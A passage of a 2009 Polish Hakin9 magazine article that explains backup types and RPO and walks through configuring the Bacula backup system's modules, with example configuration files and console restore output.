tworzenia kopii danych to awarie sprzętu (np. uszkodzenie dysku twardego) lub kradzież sprzętu. Jak można przypuszczać, istnieją różne typy kopii zapasowych. W zależności od przeznaczenia kopii zapasowej można wyróżnić kopie zapasowe danych, kopie zapasowe systemu oraz archiwizację danych. Kopia zapasowa danych służy do zapisania duplikatu tylko danych użytkowników, poczty, baz danych, stron WWW – a więc wszystkich danych, które zostały utworzone z wykorzystaniem systemu operacyjnego i działających w nim aplikacji. Kopia zapasowa systemu służy do wykonania duplikatu całego systemu plików wraz z systemem operacyjnym i plikami aplikacji. Jest to kompletny obraz całego systemu i jako taki może posłużyć nie tylko do odzyskania danych użytkowników, ale również do odzyskania całego systemu w momencie nieodwracalnego uszkodzenia serwera (np. pożaru). Tego typu kopia pozwala na uruchomienie całego systemu na innym sprzęcie w bardzo krótkim czasie (tzw. bare metal restore). Archiwizacja jest z kolei kopią danych służącą do długoterminowego przechowywania. W odróżnieniu od kopii zapasowej, która przechowywana jest przez krótki okres (zależnie od przyjętej polityki – od kilku dni do jednego roku), archiwizacja służy do przechowywania danych przez dłuższy czas (np. kilka lub kilkanaście lat). Oprócz typów kopii zapasowych możemy także wyróżnić kilka ich rodzajów: kopie pełne,
SYSTEM KOPII ZAPASOWYCH BACULA różnicowe i przyrostowe. Kopia pełna wykonuje duplikat wszystkich danych niezależnie od czasu, kiedy były ostatnio kopiowane. W razie utraty lub uszkodzenia danych kopia ta pozwala na najszybsze odtworzenie danych. Niestety, ze względu na jej kompletność wymaga nośnika o największej pojemności. Co więcej, wykonywanie kopii pełnej w największym stopniu obciąża duplikowany system i jest najbardziej czasochłonne spośród wszystkich rodzajów kopii. Kopia różnicowa służy do wykonania duplikatu danych zmodyfikowanych od czasu wykonywania ostatniej kopii pełnej. Ilość danych, jaką trzeba zapisać w wyniku wykonywania tej kopii, jest znacznie mniejsza niż dla kopii pełnej, dzięki czemu wymaga nośnika o niższej pojemności, wykonuje się szybciej i w mniejszym stopniu obciąża duplikowany system. Kopia przyrostowa wykonuje duplikat danych zmodyfikowanych od czasu wykonywania ostatniej kopii (mogła to być kopia pełna, różnicowa lub przyrostowa). Ilość danych koniecznych do zapisania jest najmniejsza, a co za tym idzie – czas potrzebny na wykonanie kopii jest najkrótszy, lecz odzyskanie danych z tego typu kopii trwa najdłużej. Konieczne jest bowiem częściowe odzyskanie danych z kopii pełnych, różnicowych i przyrostowych. Kompromis pomiędzy czasem wykonywania kopii a czasem odtwarzania danych w przypadku awarii uzyskuje się poprzez umiejętne zastosowanie wszystkich trzech rodzajów kopii (np. kopia pełna wykonywana w pierwszym dniu miesiąca, kopia różnicowa wykonywana w pierwszym dniu tygodnia, a kopia przyrostowa wykonywana w pozostałe dni). Przy zastosowaniu powyższej strategii otrzymujemy system, w którym kopia wykonywana jest jeden raz dziennie. Czas RPO (ang. Recovery Point Objective) w tej strategii wynosi 24 godziny. Wielkość ta jest czasem opisującym pesymistyczny docelowy stan odtworzenia, czyli w najgorszym razie dane po odtworzeniu nie będą starsze niż sprzed czasu określonego przez wskaźnik RPO. Przedstawiona strategia chroni użytkowników przed utratą danych zmodyfikowanych od poprzedniego dnia pracy (zakładający wykonywanie kopii wieczorem lub nad ranem). Gdyby jednak istotna była ochrona danych o krótszym
czasie RPO, należy zastosować inną strategię. Jeżeli czas RPO ma być mierzony w sekundach, wtedy konieczne jest zastosowanie systemu zapewniającego ciągłą ochronę danych (ang. Continuous Data Protection). Kolejnymi istotnymi, wartymi poruszenia sprawami są automatyzacja i centralizacja procesu wykonywania kopii zapasowych. Automatyzacja jest właściwie wymagana
w niezawodnym systemie tworzenia kopii zapasowych. Ze względu na swoją monotonność i powtarzalność nie ma sensu – a co więcej, jest to niewskazane – by angażować do tego procesu człowieka. Może on zawieść, popełnić błąd czy zapomnieć o wykonaniu kopii zapasowej. Przy wykorzystaniu odpowiedniego, poprawnie skonfigurowanego oprogramowania oraz należytego
�������������������
�������� �������������
�������������
�����������������
�������������
��������������
������������������
��������������
����������
�������������
Rysunek 1. Zależności pomiędzy modułami systemu Bacula Listing 1. Konfiguracja modułu Console Director { Name = host-dir DIRport = 9101 address = host.domena Password = "fdsIDSVNew8sfd" }
Listing 2. Konfiguracja modułu Storage – sekcja Storage Storage { Name = host-sd SDPort = 9103 WorkingDirectory = "/var/bacula/working" Pid Directory = "/var/run" Maximum Concurrent Jobs = 20 }
Listing 3. Konfiguracja modułu Storage – sekcja Director Director { Name = host-dir Password = "UIIadsksd89" }
4/2009 HAKIN9
53
OBRONA sprzętu proces tworzenia kopii zapasowej może zostać w pełni zautomatyzowany. Takim oprogramowaniem może być system Bacula. Odpowiedni sprzęt to taki, który zarówno w procesie tworzenia kopii zapasowej, jak i w procesie odtwarzania danych nie wymaga żadnej interwencji człowieka, np. w postaci konieczności umieszczenia odpowiedniego nośnika w napędzie. Tego typu sprzętem mogą być na przykład wszelkiego rodzaju autoloadery, a więc urządzenia posiadające magazyny taśm i automatycznie ładujące odpowiednie taśmy do napędu streamera. Przy założeniu odpowiedniej strategii wykonywania kopii oraz konfiguracji oprogramowania interwencja człowieka nie będzie konieczna nigdy bądź bardzo rzadko (np. wymiana uszkodzonych nośników danych czy wymiana całego magazynu nośników po ich zapełnieniu np. raz na miesiąc).
Centralizacja jest z kolei wskazana ze względu na łatwość zarządzania oraz wysoki stopień wykorzystania zbioru urządzeń i nośników danych służących do zapisywania kopii zapasowych. Warto zainwestować w urządzenie wyższej klasy, zapewniające większą pojemność, niż w kilka urządzeń o mniejszych pojemnościach. Przy zastosowaniu odpowiedniego oprogramowania (jakim jest Bacula) istnieje możliwość centralnego wykonywania jednoczesnych kopii na jedno urządzenie składujące z różnych systemów operacyjnych. Jedynym wymaganiem jest odpowiednie skonfigurowanie systemu kopii zapasowych. System Bacula służy do wykonywania kopii zapasowych zarówno małych, jak i dużych systemów komputerowych. Jego używanie nie jest jednak zawsze uzasadnione. W przypadku wykonywania kopii zapasowych pojedynczej stacji roboczej czasami warto posłużyć się
Listing 4. Konfiguracja modułu Storage – sekcja Autochanger Autochanger { Name = "zmieniacz" Device = "Ultrium" Changer Command = "/usr/local/bacula/etc/mtx-changer %c %o %S %a %d" Changer Device = /dev/sg1 }
Listing 5. Konfiguracja modułu Storage – sekcja Device Device { Name = "Ultrium" Device Type = Tape Media Type = LTO-4 Drive Index = 0 AutoChanger = yes Archive Device = /dev/nst0 LabelMedia = No; Random Access = No; AutomaticMount = Yes; RemovableMedia = Yes; AlwaysOpen = Yes; Spool Directory = /backup Maximum Spool Size = 100 g }
Listing 6. Konfiguracja modułu Director – sekcja Director Director { Name = host-dir DIRport = 9101 QueryFile = "/etc/query.sql" WorkingDirectory = "/var/bacula/working" PidDirectory = "/var/run" Maximum Concurrent Jobs = 5 Password = "jfkbwf8FDSwef" Messages = Daemon }
54
HAKIN9 4/2009
narzędziami i metodami znacznie prostszymi – co nie znaczy, że mniej skutecznymi. Przykładowym narzędziem tego typu jest rsnapshot , dostępny dla użytkowników systemu Linux. Transfer danych w ramach lokalnego systemu wykonywany jest przy pomocy narzędzia rsync, do transferu danych do innej maszyny wykorzystywany jest rsync oraz ssh. Rsnapshot podczas pierwszego uruchomienia wykonuje kopię pełną wskazanych danych. Podczas kolejnych uruchomień wykorzystywany jest mechanizm linków twardych. Na nowo kopiowane są tylko pliki nowo utworzone lub zmienione. Dla wszystkich pozostałych tworzone są linki twarde do plików znajdujących się w kopii pełnej. Zastosowanie tego mechanizmu zapewnia niewielki rozmiar kolejnych kopii, szybkość działania oraz łatwość odtwarzania danych z kopii. Wykonywanie kopii może być regularnie uruchamiane z wykorzystaniem demona cron, nawet w stosunkowo niewielkich odstępach czasu (np. co godzinę). Rozwiązanie to idealnie nadaje się do zabezpieczania danych, na których aktualnie pracuje użytkownik. Bacula jest systemem centralnego zarządzania tworzeniem i przechowywaniem, ale także wykonywaniem kopii zapasowych danych i systemu. Ze względu na dostępność wersji dla różnych systemów operacyjnych doskonale nadaje się do pracy w środowiskach heterogenicznych. Oprogramowanie Bacula dostępne jest dla systemów Unix, Linux, Windows (tylko oprogramowanie klienckie) oraz Mac OS. Pozwala to na centralne, jednoczesne wykonywanie kopii zapasowych dla wszystkich wyżej wymienionych systemów operacyjnych. System Bacula pozwala na zapisywanie kopii zapasowych na różnego rodzaju nośnikach (dyski, napędy optyczne, taśmy) i jednoczesną obsługę wielu nośników (np. wykorzystywanie kilku streamerów do zapisu danych). Informacje na temat wykonywanych kopii oraz dostępnych nośników przechowywane są w bazie danych. Bacula potrafi współpracować z różnymi bazami danych (mySQL, SQLite, postgresql), co czyni ten system bardzo elastycznym w zastosowaniu. Dodatkowo Bacula doskonale współpracuje z urządzeniami
SYSTEM KOPII ZAPASOWYCH BACULA pozwalającymi na automatyczną wymianę nośników danych (autoloadery), także wyposażonych w czytniki kodów kreskowych, co sprzyja automatyzacji procesu wykonywania kopii zapasowych. Pozwala to także na odtworzenie systemu po awarii (bare metal recovery). Wszystkie wymienione wyżej cechy sprawiają, że system Bacula nadaje się do zastosowania w wielu środowiskach wymagających wykonywania kopii zapasowych. Bacula jest rozwiązaniem modułowym. Składa się z kilku elementów funkcjonalnych wykonujących poszczególne zadania. Każdy z modułów może działać na oddzielnej maszynie, można je także zainstalować na jednym hoście. Jest to możliwe dzięki temu, że komunikacja pomiędzy modułami odbywa się z wykorzystaniem protokołów sieciowych. Taka architektura systemu czyni go uniwersalnym. Na Rysunku 1. przedstawione są zależności pomiędzy poszczególnymi modułami. Pierwszym, podstawowym modułem jest Director. Jest to moduł centralny, pełniący nadzór nad całym procesem tworzenia i odzyskiwania kopii zapasowych. To właśnie w tym module definiuje się harmonogram wykonywania kopii (co i kiedy ma zostać skopiowane), gdzie dane mają zostać zapisane (na którym z dostępnych urządzeń zapisać kopię) oraz gdzie zapisać informacje na temat wykonywanych kopii i wykorzystanych nośników danych. Kolejnym modułem jest Catalog. Jest to standardowa baza danych, w której przechowywane są wszystkie dane związane z procesem tworzenia kopii zapasowych. Są to między innymi informacje o tym, co zostało skopiowane, kiedy, na jakim nośniku zostało zapisane, jak również informacje na temat dostępnych nośników i ich stanie (np. nośnik pełny, pusty, uszkodzony itp.). Trzecim modułem jest File . Moduł ten jest komponentem klienckim. Instaluje się go na każdej maszynie, która ma podlegać procesowi wykonywania kopii zapasowej. Zadaniem tego modułu jest przesyłanie danych do modułu Storage w celu zapisania ich kopii. Pracą tego modułu steruje moduł Director. Wspomniany przed chwilą komponent Storage to czwarty moduł Baculi. Jego
zadaniem jest zapisywanie danych na dostępnym nośniku. Piątym, ostatnim, modułem jest Console – komponent konsoli administratora. Z poziomu tego modułu administrator może zarządzać systemem kopii zapasowych oraz wykonywać poszczególne zadania, takie jak zlecanie wykonania kopii zapasowej poza zdefiniowanym harmonogramem czy odzyskiwanie danych. Konsola służy także do monitorowania pracy całego systemu. Dostępne są zarówno wersje tekstowe, jak i graficzne konsoli zarządzającej. W całym systemie kopii zapasowych może wystąpić tylko jeden moduł
Director. Pozostałe komponenty
mogą pojawiać się wielokrotnie. O ile w przypadku modułu File wydaje się to być oczywiste (można wykonywać kopie danych z wielu maszyn), o tyle w przypadku pozostałych modułów już tak nie jest. Moduł Catalog może pojawić się wielokrotnie, jeśli administrator chce dane o poszczególnych kopiach przechowywać w różnych bazach danych. Komponent Storage może pojawić się wielokrotnie, jeśli w całym systemie kopii dostępne jest więcej niż jedno urządzenie pozwalające na zapis kopii danych, a do tego podłączone jest np. do innej maszyny. Podobnie
Listing 7. Konfiguracja modułu Director – sekcja JobDefs JobDefs { Name = "Linux Backup" Enabled = yes Type = Backup Level = Incremental Client = host-fd FileSet = "Full Set Host" Schedule = "MonthlyCycle" Storage = host-sd Messages = Standard Pool = Default Spool Data = yes Maximum Concurrent Jobs = 10 Priority = 10 }
Listing 8. Konfiguracja modułu Director – sekcja Job Job { Name = "Host2 Backup" JobDefs = "Linux Backup" Client = host2-fd FileSet = "Full Set Host2" Write Bootstrap = "/usr/local/bacula/bootstrap/Host2.bsr" }
Listing 9. Konfiguracja modułu Director – sekcja FileSet FileSet { Name = "Full Set Host2" Include { Options { signature = MD5 } File = / File = /var } Exclude { File = /proc File = /tmp File = /var/spool/squid File = /.journal File = /.fsck } }
4/2009 HAKIN9
55
OBRONA konsol zarządzających może być wiele. Systemem może zarządzać więcej niż jeden administrator. Instalacja systemu Bacula nie jest skomplikowana. W przypadku systemu Windows można ze strony projektu pobrać wersję instalacyjną modułu File (dla okienek dostępny jest tylko ten komponent). W systemach Unix lub Linux możliwa jest instalacja zarówno z przygotowanych pakietów (wchodzących w skład poszczególnych dystrybucji), jak również kompilacja ze źródeł. W przypadku konieczności kompilacji odsyłam do dokumentacji zawartej w pakietach źródłowych. W trakcie instalacji lub konfiguracji ze źródeł tworzone są przykładowe pliki konfiguracyjne. Konfigurację systemu Bacula najlepiej rozpocząć od końca, czyli od skonfigurowania modułu Console, a następnie modułów Storage, File i Director (konfiguracja modułu Catalog znajduje się w pliku konfiguracyjnym modułu Director). Dzięki takiemu podejściu nie będzie konieczne ustawiczne powracanie do pliku konfiguracyjnego modułu Director. Dodanie bowiem kolejnego klienta lub kolejnego modułu odpowiedzialnego za zapisywanie kopii na nośnikach wymaga modyfikacji konfiguracji modułu Director.
Konfiguracja modułu Console
Konfiguracja modułu Console (Listing 1) sprowadza się do określenia modułu
Director, którym dana konsola ma
zarządzać. W pliku konfiguracyjnym (bconsole.conf ) znajduje się nazwa modułu (wykorzystywana tylko w plikach konfiguracyjnych), adres maszyny, na której zainstalowany został moduł Director, numer portu, na którym oczekuje na połączenia oraz hasło.
Konfiguracja modułu Storage Konfiguracja modułu Storage (plik bacula-sd.conf ) jest znacznie bardziej rozbudowana. Składa się z kilku sekcji: Storage – sekcja ta opisuje moduł, Director – definiuje moduł zarządzający, opcjonalna sekcja Autochanger opisująca urządzenie zmieniające (o ile oczywiście jest dostępne) oraz sekcja Device opisująca urządzenie zapisujące kopie zapasowe. Oprócz tego występują jeszcze sekcje informujące o tym, gdzie i w jaki sposób przesyłane są komunikaty. Konfiguracja tych sekcji dla wszystkich modułów jest taka sama i na tyle oczywista, że jej opis zostanie tutaj pominięty. Na Listingu 2. przedstawiona jest konfiguracja sekcji Storage . W sekcji tej definiuje się nazwę modułu Storage, numer portu, na którym oczekuje na połączenia, katalog roboczy aplikacji, katalog, w którym zapisana jest informacja o numerze PID, oraz wielkość definiująca liczbę jednoczesnych zadań, jakie mogą zapisywać dane do modułu Storage . Zadania definiowane są w konfiguracji modułu Director.
Listing 10. Konfiguracja modułu Director – sekcja Schedule Schedule { Name = "MonthlyCycle" Run = SpoolData = yes Level = Full 1st sun at 23:05 Run = SpoolData = yes Level = Differential 2nd-5th sun at 23:05 Run = SpoolData = yes Level = Incremental mon-sat at 23:05 }
Listing 11. Konfiguracja modułu Director – sekcja Client Client { Name = host2-fd Address = host2 FDPort = 9102 Catalog = MyCatalog Password = "daf8SSD9ikv” File Retention = 90 days Job Retention = 6 months AutoPrune = yes }
56
HAKIN9 4/2009
Konfiguracja sekcji Director (Listing 3) zawiera jedynie nazwę modułu zarządzającego oraz hasło. Określa, który moduł Director ma prawo komunikować się z modułem Storage . Sekcja Autochanger (Listing 4) określa urządzenie zmieniające. Pierwszym elementem konfiguracji tej sekcji jest nadanie nazwy zasobowi zmieniającemu nośniki (jest to zresztą ogólna zasada konfiguracji systemu Bacula – każdy zasób posiada swoja nazwę, którą można się później posługiwać w innych sekcjach konfiguracji). Drugi element określa urządzenie zapisujące dane, które obsługiwane jest poprzez to urządzenie zmieniające (tutaj podaje się nazwę zasobu Device). Dalej zdefiniowane jest polecenie służące do zmiany taśm (jest to skrypt wchodzący w skład systemu Bacula) oraz urządzenie w systemie reprezentujące zmieniarkę. Ostatnia sekcja konfiguracji modułu Storage ( Device ) definiuje urządzenie zapisujące dane. Na Listingu 5 przedstawiona jest konfiguracja napędu taśmowego LTO-4. Zgodnie z ogólną zasadą, określona zostaje nazwa zasobu (proszę zauważyć, że wykorzystana ona jest w konfiguracji zasobu Autochanger), dalej określony jest typ urządzenia (możliwe wartości to File , Tape , Fifo oraz DVD ), dalej typ nośnika (jest to też nazwa umowna), numer napędu w urządzeniu (urządzenie może posiadać więcej niż jeden napęd), określenie, czy urządzenie obsługiwane jest przez zmieniarkę, określenie urządzenia w systemie. Kilka kolejnych parametrów definiuje odpowiednio, czy nośniki danych mają być automatycznie nazywane (nie jest to konieczne, gdy wykorzystywana jest określona pula nazwanych przez administratora nośników), czy urządzenie jest urządzeniem o swobodnym dostępie do danych (nośniki dyskowe, DVD), czy dostępie sekwencyjnym (taśmy, kolejki FIFO), czy nośnik ma być automatycznie montowany, czy urządzenie posiada wymienne nośniki (taśmy, DVD), czy urządzenie ma być zawsze dostępne do zapisu (chyba, że zostanie jawnie domontowane poprzez wydanie polecenia w konsoli zarządzającej). Ostatnie dwa parametr y przykładowego
SYSTEM KOPII ZAPASOWYCH BACULA pliku konfiguracyjnego określają, gdzie znajduje się katalog tymczasowego przechowywania kopii zapasowej oraz jaką posiada pojemność. Tymczasowe przechowywanie kopii jest istotne w przypadku korzystania z napędów taśmowych, a szczególnie w przypadku jednoczesnego zapisu danych z kilku serwerów. Chodzi tutaj przede wszystkim o uniknięcie zjawiska naciągania się taśmy. Gdyby kopia zapasowa zapisywana była bezpośrednio na taśmę, wtedy napęd musiałby co chwilę (gdy nadejdzie pakiet danych) rozpędzać się i zatrzymywać (gdy pakiet ten zostanie zapisany). W przypadku wykorzystywania tymczasowego przechowywania kopii zjawisko to jest minimalizowane, gdyż w prezentowanym przypadku zapis następuje w porcjach po 100 gigabajtów danych. Gdy jeszcze wykorzystywany jest do tego jednoczesny zapis danych z kilku serwerów, wtedy przy bezpośrednim zapisie na taśmę dane byłyby bardzo poszatkowane. Na taśmie zapisany zostałby jeden pakiet danych z serwera A, jeden z serwera B itd. Odzyskiwanie tak zapisanych danych byłoby bardzo czasochłonne, a do tego bardzo obciążałoby napęd taśmowy i sam nośnik (duża ilość operacji przewijania i odczytu). Wykorzystanie katalogu tymczasowego przechowywania pozwala na posegregowanie danych z różnych serwerów w duże zbiory przed ich zapisaniem.
Konfiguracja modułu File
Moduł File odpowiedzialny jest za wysłanie kopii danych określonych przez moduł zarządzający do urządzenia zapisującego wskazanego przez moduł zarządzający. Moduł File jest więc komponentem w pełni zależnym od modułu Director i jako taki nie ma najmniejszego wpływu na konfigurację całego systemu Bacula. W związku z tym w pliku konfiguracyjnym (bacula-fd.conf ) tego elementu systemu kopii zapasowych, poza częścią określającą adresata wszelkich komunikatów, zdefiniowane są tylko dwie sekcje. Są nimi sekcja FileDaemon , która jest niemal identyczna, jak sekcja Storage modułu o tej samej nazwie oraz sekcja Director, która jest identyczna, jak w module Storage .
Znaczenie tych sekcji jest również takie samo, jak w przypadku komponentu Storage .
Konfiguracja modułu Director
Moduł Director ze względu na nadzorczy charakter posiada najbardziej rozbudowaną konfigurację. W pliku konfiguracyjnym (bacula-dir.conf ) znajdują się następujące sekcje: Director – definiująca moduł nadzorczy (jedyna sekcja, która może pojawić się tylko raz, pozostałe mogą występować wielokrotnie), JobDefs – predefiniuje wartość poszczególnych parametrów wspólnych dla zdefiniowanych później zadań, Job – definiuje zadanie, którym może być wykonywanie kopii zapasowej lub odzyskiwanie danych, FileSet – określa zbiór plików, które mają zostać skopiowane, Schedule – określa harmonogram wykonywania zadań, Client – definiuje maszyny, które podlegają procesowi wykonywania kopii, Catalog – określa
parametry dostępu do bazy danych, w której zapisywane są informacje o wykonywanych zadaniach (jest to konfiguracja modułu Catalog), Storage – opisuje dostępne moduły Storage, wreszcie Pool – definiuje zbiór dostępnych nośników danych. Konfiguracja sekcji Director (Listing 6) zawiera definicje nazwy modułu zarządcy, numer portu, na którym oczekuje na połączenia od modułów Console, określenie pliku, w którym znajdują się definicje zapytań SQL kierowanych do bazy danych w celu wykonywania poleceń administratora (plik zawarty jest w dystrybucji systemu Bacula), katalog, w którym moduł zostaje uruchomiony, wskazanie miejsca, gdzie przechowywana jest informacja PID, liczbę zadań, jakie nadradca może jednocześnie uruchomić, hasło służące do łączenia się z nadradcą z poziomu konsoli administratora (powinno być takie samo, jak w konfiguracji modułu Console) oraz określenie sposobu obsługi wszelkich komunikatów niepowiązanych
Listing 12. Konfiguracja modułu Director – sekcja Storage Storage { Name = host-sd Address = host SDPort = 9103 Password = " 7cPIehqKR3BhRT6ak" Device = "zmieniacz" Media Type = LTO-4 AutoChanger = yes Maximum Concurrent Jobs = 20 }
Listing 13. Konfiguracja modułu Director – sekcja Catalog Catalog { Name = MyCatalog dbname = "bacula" dbuser = "bacula" dbpassword = "Df98vdf34f"; DB Address = 127.0.0.1 DB Port = 5432 }
Listing 14. Konfiguracja modułu Director – sekcja Pool Pool { Name = Default Maximum Volumes = 16 Storage = host-sd Pool Type = Backup Recycle = yes Recycle Oldest Volume = yes AutoPrune = yes Volume Retention = 365 days }
4/2009 HAKIN9
57
OBRONA z żadnym zadaniem (parametr Daemon określa, że będą obsługiwane przez moduł Director). Sekcja JobDefs definiuje wspólne dla wszystkich zadań parametry. W definicji poszczególnych zadań można później wykorzystać te zasoby i ewentualnie redefiniować niektóre z parametrów. Parametry, jakie można definiować w tej sekcji (co wydaje się oczywiste) są takie, jak dla sekcji Job. W przykładowej definicji zasobu (Listing 7) kolejno określone zostały: nazwa zbioru definicji, czy dane zadanie ma być automatycznie uruchamiane z wykorzystaniem harmonogramu, typ
zadania (możliwe wartości to Backup, Restore, Verify i Admin), poziom wykonywanej kopii zapasowej (można podać Full, Differential bądź Incremental), określenie maszyny, która będzie podlegała temu zadaniu, ustalenie zbioru plików, jakie będą kopiowane, definicja harmonogramu, przy którego użyciu zadanie będzie automatycznie uruchamiane, określenie modułu typu Storage , który zostanie wykorzystany do zapisu kopii danych, sposób obsługi komunikatów generowanych przez zadanie, zbiór nośników, na których zapisana zostanie kopia danych, to, czy dane mają być przed zapisem na nośnik
Listing 15. Odzyskanie danych na żądanie *run A job name must be specified. The defined Job resources are: 1: Host1 Backup 2: Host2 Backup 3: Host3 Backup Select Job resource (1-3):
Listing 16. Wybór danych do odzyskania cwd is: / $ ls boot/ etc/
home/
root/
usr/
var/
$ mark etc 332 files marked. $ done
Listing 17. Uruchomienie procesu odzyskiwania danych *restore Automatically selected Catalog: MyCatalog Using Catalog "MyCatalog" First you select one or more JobIds that contain files to be restored. You will be presented several methods of specifying the JobIds. Then you will be allowed to select which files from those JobIds are to be restored. To select the JobIds, you have the following choices: 1: List last 20 Jobs run 2: List Jobs where a given File is saved 3: Enter list of comma separated JobIds to select 4: Enter SQL list command 5: Select the most recent backup for a client 6: Select backup for a client before a specified time 7: Enter a list of files to restore 8: Enter a list of files to restore before a specified time 9: Find the JobIds of the most recent backup for a client 10: Find the JobIds for a backup for a client before a specified time 11: Enter a list of directories to restore for found JobIds 12: Cancel Select item: (1-12):
58
HAKIN9 4/2009
tymczasowo przechowywane, liczbę jednoczesnych zadań tego typu (jeśli w konfiguracji sekcji Director wartość ta jest mniejsza, parametr podany tutaj nie jest brany pod uwagę), i na koniec – priorytet określający kolejność wykonywania zadań. W prezentowanej tutaj konfiguracji w sekcji Director określona jest możliwość jednoczesnego wykonywania do 5 zadań. Priorytet pozwala zdefiniować, które zadania wykonywane będą wcześniej (gdyby było ich więcej niż 5). Sekcja Job służy do zdefiniowania zadania. Może korzystać z sekcji typu JobDefs i dookreślić dodatkowe parametry lub je redefiniować. W przykładowej definicji (Listing 8) określona zostaje nazwa zadania, zbiór predefiniowanych wartości, z których korzysta zadanie, następuje redefinicja klienta oraz zbioru plików względem zbioru predefiniowanych wartości i podana zostaje ścieżka do pliku, w którym zapisany zostanie plik typu bootstrap. Pliki bootstrap wykorzystywane są do odzyskiwania kopii zapasowych w przypadku utracenia bazy danych, w której zapisana jest informacja, na jakiej taśmie znalazły się składowane pliki. Plik bootstrap zawiera informacje o tym, skąd odzyskać pliki, by przywrócić dane do stanu, w jakim znajdowały się w trakcie ostatnio wykonywanej kopii. W przypadku kopii pełnej w pliku tym zapisywana jest pełna informacja o odzyskaniu danych. Gdy wykonywana jest kopia różnicowa lub przyrostowa, na końcu pliku dopisywane są informacje o różnicach względem kopii pełnej. Pliki tego typu, jako niezbędny element odzyskiwania systemu po awarii, muszą być zapisywane na nośniku niezależnym od maszyny, na której pracuje moduł Director i Catalog . Najczęściej pliki te zapisywane są na innej maszynie do podmontowanego zdalnego folderu. Sekcja FileSet definiuje zbiór danych, jaki ma być kopiowany. Może także określać wykonanie dodatkowych operacji. Sekcja ta składa się z dwóch podsekcji: Include oraz Exclude . W podsekcji Include określa się pliki, jakie mają zostać skopiowane, z kolei w sekcji Exclude wskazuje się pliki, jakich kopiować nie należy. W wyniku scalenia dwóch tak
SYSTEM KOPII ZAPASOWYCH BACULA zdefiniowanych grup plików powstaje zbiór danych do skopiowania. W przykładowej konfiguracji (Listing 9) w sekcji Include określona została jeszcze podsekcja Options, pozwalająca na wymuszenie dodatkowych działań. W tym przypadku oprócz wykonania kopii plików obliczona i zapisana zostanie także wartość MD5 dla każdego z plików. Może być ona wykorzystywana do weryfikacji danych w momencie ich odzyskiwania. Każde określenie folderu należy rozumieć jako określenie rekursywne. Podsekcja Exclude jest bardzo przydatnym narzędziem. Można bowiem w sekcji Include wyspecyfikować jako zbiór plików katalog główny systemu (np. / ), a w sekcji Exclude usunąć zbędne jego pliki lub katalogi (np. /tmp). Podobnie w systemie Windows warto pamiętać o tym, że nie jest konieczne wykonywanie kopii np. pliku pagefile.sys czy pamięci podręcznej przeglądarek internetowych dla wszystkich użytkowników, jak również wszelkiego rodzaju plików tymczasowych. Odpowiednie zaplanowanie i skonfigurowanie zbioru plików pozwoli na znaczną oszczędność czasu i przestrzeni przechowywania danych. Sekcja Schedule określa harmonogram wykonywania kopii zapasowych. Na Listingu 10. przedstawiony jest harmonogram, który w pierwszą niedzielę miesiąca wykonuje kopię pełną, R
w pozostałe niedziele miesiąca wykonuje kopię różnicową, a w pozostałe dni – kopię przyrostową. Kopie wykonywane są zawsze w nocy (od godz. 23:05). Zastosowanie takiego harmonogramu powoduje, że dodatkowe obciążenie systemu wynikające z wykonywania kopii zapasowych generowane jest w czasie, w którym większość użytkowników nie pracuje. Dodatkowo w harmonogramie określone zostało, że dane mają być tymczasowo przechowywane przed zapisaniem na docelowym nośniku. W harmonogramie określone zostały różne poziomy kopii. Tymczasem w definicji zadania podany został poziom kopii przyrostowy. Jeżeli w harmonogramie określony jest inny poziom kopii zapasowej, wtedy wykonany zostanie poziom określony przez harmonogram. W specyfikacji harmonogramu można redefiniować także inne parametry zadań. Sekcja Client definiuje maszynę, która ma podlegać wykonywanemu zadaniu. Zgodnie z przykładem (Listing 11) definiuje się nazwę klienta, którą wykorzystuje się w definicjach zadań, adres maszyny (może to być nazwa domenowa lub adres IP), numer portu, na którym nasłuchuje na połączenia od modułu Director, moduł Catalog, w którym przechowywane mają być informacje o kopiach danych tego klienta, hasło, przy którego pomocy moduł Director może komunikować E
K
L
A
M
się z klientem. Ostatnie trzy dyrektywy służą do określenia polityki usuwania z Catalog'u danych o wykonywanych dawniej zadaniach. W przykładowej konfiguracji określono, że dane o plikach mają być usuwane po 3 miesiącach, dane o wykonywanych zadaniach po pół roku oraz że usunięcie tych danych powinno nastąpić automatycznie. Sekcja Storage określa dostępny moduł typu Storage oraz wykorzystywane w ramach modułu urządzenie zapisujące dane. Jak pokazano na Listingu 12, w sekcji tej definiuje się jej nazwę (wykorzystywana w definicji zadań), adres maszyny, na której pracuje moduł Storage, numer portu, na którym oczekuje na połączenia, hasło, nazwę urządzenia (w przypadku urządzenia zmieniającego podaje się nazwę właśnie tego urządzenia, a nie napędu), typ nośnika danych, określenie, czy urządzenie jest urządzeniem zmieniającym, oraz ilość jednoczesnych zadań, jakie mogą przesyłać dane do tego modułu. Jeżeli w definicji modułu Storage zdefiniowana jest inna wartość, wtedy obowiązuje ta niższa. Sekcja Catalog zawiera konfigurację modułu o tej samej nazwie. Sprowadza się to do podania nazwy katalogu oraz parametrów pozwalających na nawiązanie komunikacji z bazą danych. W prezentowanym przypadku (Listing 13) wykorzystywana była baza danych postgresql. A
PROMISE 4/2009 HAKIN9
59
OBRONA Ostatnią omawianą sekcją konfiguracji modułu Director jest sekcja Pool. Definiuje ona zbiór nośników oraz sposób przechowywania informacji o ich wykorzystaniu. W przykładowej konfiguracji (Listing 14) w sekcji tej zdefiniowana została nazwa zbioru nośników, ich liczba, moduł Storage , który wykorzystuje ten zbiór nośników, typ zbioru nośników (obecnie poprawna jest tylko wartość Backup), to, czy nośniki mogą być nadpisywane, fakt, że nadpisywanie nośników rozpocznie się od najstarszego, oraz że usuwanie informacji o wykorzystywaniu nośników nastąpi automatycznie po upływie 365 dni od ich użycia. Dopiero po upływie tego czasu możliwe będzie nadpisanie nośników. Po dokonaniu konfiguracji wszystkich elementów systemu konieczne jest uruchomienie demonów odpowiadających za działanie poszczególnych modułów. Skrypty startowe dostarczane są wraz z dystrybucją systemu Bacula. Konieczna jest także wcześniejsza konfiguracja bazy danych. Wraz z systemem Bacula dostarczane są niezbędne skrypty do tego celu. Opis całej operacji znajduje się w dokumentacji systemu. Po uruchomieniu demonów cały system zaczyna pracę. Kopie zapasowe wykonywane są zgodnie z harmonogramem, a przy wykorzystaniu urządzenia zmieniającego nie jest konieczna żadna ingerencja człowieka. Należy jednak pamiętać o podstawowej zasadzie. Samo wykonanie kopii zapasowej nie daje pewności odzyskania danych w niej zawartych. Konieczne jest przeprowadzenie okresowych testów odzyskania danych. Odzyskania danych można dokonywać za pomocą konsoli administratora (o ile nie zostało w harmonogramie umieszczone zadanie odzyskujące dane periodycznie). W większości 